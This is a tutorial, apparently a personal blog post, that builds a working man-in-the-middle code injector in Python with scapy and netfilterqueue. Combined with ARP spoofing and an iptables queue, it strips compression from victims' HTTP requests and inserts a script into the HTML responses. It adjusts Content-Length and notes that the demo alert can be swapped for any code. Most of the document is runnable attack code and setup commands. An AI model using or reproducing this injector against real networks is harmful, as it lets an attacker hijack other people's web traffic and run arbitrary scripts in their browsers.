Code Injector with Scapy

I am going to create a script which allows me to modify inject code in the target request. As usual, to achieve this I am going to use scapy and netfilterqueue.

Let’s start from packages import and get_arguments function this should be already familia. Here I am using new python package re. This module provides regular expression matching operations. And I am reusing change_payload function from file_interceptor

Change_payload function replaces load in Raw layer with my content. And remove verification information such as len and checksum. Scapy will recalculate new values automatically.

import netfilterqueue
import scapy.all as scapy
import re


def change_payload(packet, load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet

And I am ready to implement inject_code  function.

At the beginning netfilterqueue need to be converted to a scapy packet.

http_packet = scapy.IP(packet.get_payload())

I am going to modify Raw layer, so I need to check if this layer is present in the packet, otherwise, I should skip it. Load field will be used in the code a few times, and each time I need to enter http_packet[scapy.Raw].load. To make life easier I can store this in variable load. And each time when I need to use load field I can just enter load.

if http_packet.haslayer(scapy.Raw):
    load = http_packet[scapy.Raw].load

Next, I am going to check if a packet contains request or response.

dport – destination port. That means packet sent from target to website on port 80.

if http_packet[scapy.TCP].dport == 80:

And usually, a response received gzipped, and I  will not be able to read this information. To receive a humanly readable response I need to modify request. Request is zipped only if browser said that he supports encoding. To prevent this I need to remove Accept-Encoding field from a request. Re module used here to remove completely Accept-Encoding and left everything else.

load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)

Next, I need to check if a packet contains response and modify response content. Here just for demonstration, I am going to replace a content with a simple JavaScript alert function. Injection code variable can be replaced with any code which you would like to execute.

elif http_packet[scapy.TCP].sport == 80:
    injection_code = "<script>alert('Hello from devopslife.xyz');</script>"
    load = load.replace("</body>", injection_code + "</body>")

Unfortunately, this not going to work, because almost every page contains Content-Length field, end if I add new code Content-Length will change, but my code is not going to be injected because Content-Length does not include the length of the added code.

But I can use re module to replace length with the new value. First, I need to find Content-Length.

length_search = re.search("(?:Content-Length:\s)(\d*)", load)

length_search contains two group (?:Content-Length:\s) and (\d*), the first group I am using just to identify right text field, and I am not going to change it.

Not each page contain Content-Length so I need to check if there some, and modify only if load contain text/html. Otherwise, page not will be displayed.

Assing value of Content-Length to a variable.

length = length_search.group(1)

Recalculate new length by adding to the length of injected code to the original length.

new_length = int(length) + len(injection_code)

And replace the original value with a new one.

load = load.replace(length, str(new_length))

As the last step, I need to check if a load was modified and modify packet if yes. Do this we will use a previously created change_payload function.

    if load != http_packet[scapy.Raw].load:
        new_packet = change_payload(http_packet, load)
        packet.set_payload(str(new_packet))
packet.accept()

In order to run this code netfilterqueue object need to be created. And inject_code  function bound to queue.

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, inject_code)
queue.run()

Before executing this code make sure iptables queue created, packet forwarding enabled and arp spoofing started.

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -I FORWARD -j NFQUEUE --queue-num 0
python arp_spoofing.py -t target_ip -g gateway_ip

And as the last step let’s try to execute code.

python code_injector.py

And check the result.

Note: www.devopslife.xyz my old website

Full code:

import netfilterqueue
import scapy.all as scapy
import re
import argparse


def get_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", dest="url",
                        help="url to exe file")
    options = parser.parse_args()
    return options


def change_payload(packet, load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet


def inject_code(packet):
    http_packet = scapy.IP(packet.get_payload())
    if http_packet.haslayer(scapy.Raw):
        load = http_packet[scapy.Raw].load
        if http_packet[scapy.TCP].dport == 10000:
            load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
            load = load.replace("HTTP/1.1", "HTTP/1.0")
        elif http_packet[scapy.TCP].sport == 10000:
            injection_code = """<script>alert('Hello from devopslife.xyz');
                                </script>"""
            load = load.replace("</body>", injection_code + "</body>")
            length_search = re.search("(?:Content-Length:\s)(\d*)", load)
            if length_search and "text/html" in load:
                length = length_search.group(1)
                new_length = int(length) + len(injection_code)
                load = load.replace(length, str(new_length))

        if load != http_packet[scapy.Raw].load:
            new_packet = change_payload(http_packet, load)
            packet.set_payload(str(new_packet))
    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, inject_code)
queue.run()